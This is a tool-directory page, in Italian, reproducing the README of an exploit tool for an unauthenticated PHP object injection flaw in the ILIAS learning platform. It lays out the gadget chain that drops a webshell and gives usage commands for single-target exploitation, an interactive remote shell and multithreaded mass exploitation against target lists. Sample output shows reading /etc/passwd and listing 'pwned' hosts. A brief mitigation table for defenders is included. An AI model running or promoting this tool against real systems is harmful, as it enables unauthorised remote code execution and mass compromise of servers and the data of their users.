Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-80428 — ILIAS ≤ 9.21 / 10.9 / 11.2 — Iniezione di oggetti PHP non autenticata (RCE) | Kitploit
Strumenti/GitHubGitHub/hackfutsecroot/cve-2026-80428
Scanner di VulnerabilitàGenerazione di PayloadExploitSfruttamento di Applicazioni WebPost-ExploitSicurezza WebPenetration TestingStrumento di Accesso Remoto
GitHubhackfutsecroot/cve-2026-80428

CVE-2026-80428

ILIAS ≤ 9.21 / 10.9 / 11.2 — Iniezione di oggetti PHP non autenticata (RCE)

Vedi Repository
21227 giorni faNon ancora revisionato
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Typing SVG

CVE ILIAS Type Python License



🚨 ILIAS ≤ 9.21 / 10.9 / 11.2 — PHP Object Injection non autenticata (RCE)

CVE-2026-80428

Vettore: Endpoint di logout back-channel Shibboleth
Impatto: Esecuzione di codice remoto completa come utente del web server
Gravità: 🔴 CRITICA



📖 Indice

  • 🔍 Panoramica
  • ⚙️ Catena di vulnerabilità
  • 🎯 Versioni interessate
  • ✨ Funzionalità
  • 📦 Installazione
  • 🚀 Utilizzo
    • Exploit su singolo target
    • Shell interattiva
    • Sfruttamento massivo
  • 📁 Formato della lista dei target
  • 🖼️ Screenshot
  • 🛡️ Mitigazione
  • 📢 Canali e community
  • ⚠️ Disclaimer

🔍 Panoramica

CVE-2026-80428 è una vulnerabilità critica di PHP Object Injection non autenticata che interessa il Learning Management System ILIAS. Concatenando una primitiva di session poisoning in ltiauth.php con una chiamata unserialize() non sicura in shib_logout.php, un attaccante può ottenere una scrittura arbitraria di file e infine l'Esecuzione di Codice Remoto (RCE) — il tutto senza autenticazione.


🎯 Parametro📋 Valore
CVE IDCVE-2026-80428
TipoPHP Object Injection → RCE
Autenticazione richiesta❌ Nessuna
Vettore di attaccoRete (HTTP/HTTPS)
Punteggio CVSS9.8 (Critico)

⚙️ Catena di vulnerabilità

flowchart LR
    A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
    B -->|Serialized Guzzle Gadget| C[PHP Session Store]
    C -->|2. Trigger unserialize| D[shib_logout.php]
    D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
    E -->|3. file_put_contents| F[💀 Webshell Dropped]
    F -->|4. Execute| G[🔓 RCE]

    style A fill:#ff4444,color:#fff
    style F fill:#ff0000,color:#fff
    style G fill:#8b0000,color:#fff

Procedura passo-passo:

  1. ltiauth.php memorizza un payload serializzato all'interno della sessione PHP senza validazione.
  2. shib_logout.php elabora una richiesta SOAP Shibboleth LogoutNotification appositamente costruita e chiama unserialize() sui dati della sessione.
  3. Il gadget GuzzleHttp\Cookie\FileCookieJar invoca file_put_contents() per rilasciare una webshell PHP in un percorso controllato dall'attaccante.

🎯 Versioni interessate

🏷️ Ramo❌ Vulnerabile✅ Corretto
9.x≤ 9.21≥ 9.22
10.x≤ 10.9≥ 10.10
11.x≤ 11.2≥ 11.3

✨ Funzionalità

🔥 Principali

  • ✅ Sfruttamento non autenticato
  • ✅ Modalità singolo target (exploit)
  • ✅ Pseudo-shell interattiva (shell)
  • ✅ Sfruttamento massivo con multiprocessing (mass)

💎 Comodità d'uso

  • 🎨 Output a colori ANSI completo
  • 🔄 Fallback automatici sui percorsi
  • 🧠 Rilevamento versione e verifica patch
  • 📝 Salvataggio automatico dei target vulnerabili
  • 🌐 Supporto header Host personalizzato
  • 🔒 Supporto TLS legacy

📦 Installazione

# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428

# Install dependencies
pip install requests urllib3

# (Optional) Make executable
chmod +x CVE-2026-80428.py

Requisiti:

  • Python 3.8+
  • requests
  • urllib3

🚀 Utilizzo

python3 CVE-2026-80428.py <mode> [options]

📌 Exploit su singolo target

python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal

Opzioni:

FlagDescrizionePredefinito
--portPorta di destinazione443
--pathDocroot di ILIAS su disco/var/www/ilias/public
--host-headerHeader Host personalizzato—
--timeoutTimeout della richiesta (s)30

💻 Shell interattiva

python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

ilias$ exit

🚀 Sfruttamento di massa

python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt

Opzioni:

FlagDescrizionePredefinito
-l, --listObbligatorio — File della lista dei target—
-t, --threadsWorker concorrenti20
-o, --outputFile di output per i target vulnerabiliilias_vuln.txt
--pathDocroot di ILIAS/var/www/ilias/public
--host-headerHeader Host personalizzato—
--timeoutTimeout della richiesta (s)30

📁 Formato della lista dei target

Crea un file targets.txt:

# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080

# Mixed formats are supported
example.org

Formati supportati:

  • host
  • host:port
  • http://host
  • https://host:port
  • host/path (percorso rimosso)

🖼️ Screenshot

🎬 Output della scansione di massa

  [  42/500] VULN  10.10.10.20:443     https://10.10.10.20:443/util_a1b2c3.php?x=id
  [  43/500] SAFE  10.10.10.21:443     [PATCHED]
  [  44/500] ERR   10.10.10.22:8443    [Connection timed out]

  [44/500] VULN:12  SAFE:30  ERR:2  8%

🛡️ Mitigazione

Per difensori e amministratori di sistema:

🛠️ Azione📝 Dettagli
🔼 Aggiornare ILIAS9.22 / 10.10 / 11.3 o versioni successive
🚫 Disabilitare ShibbolethSe non utilizzato — rimuovere shib_logout.php
🧱 Regole WAFBloccare payload SOAP LogoutNotification malformati
📂 Limitare l'accesso in scritturaLa web root non dovrebbe essere scrivibile da www-data
🔍 MonitorareCercare file .php inattesi nelle directory upload/cache

📢 Canali e Community

🌐 Unisciti alla Community


Scarica lo strumento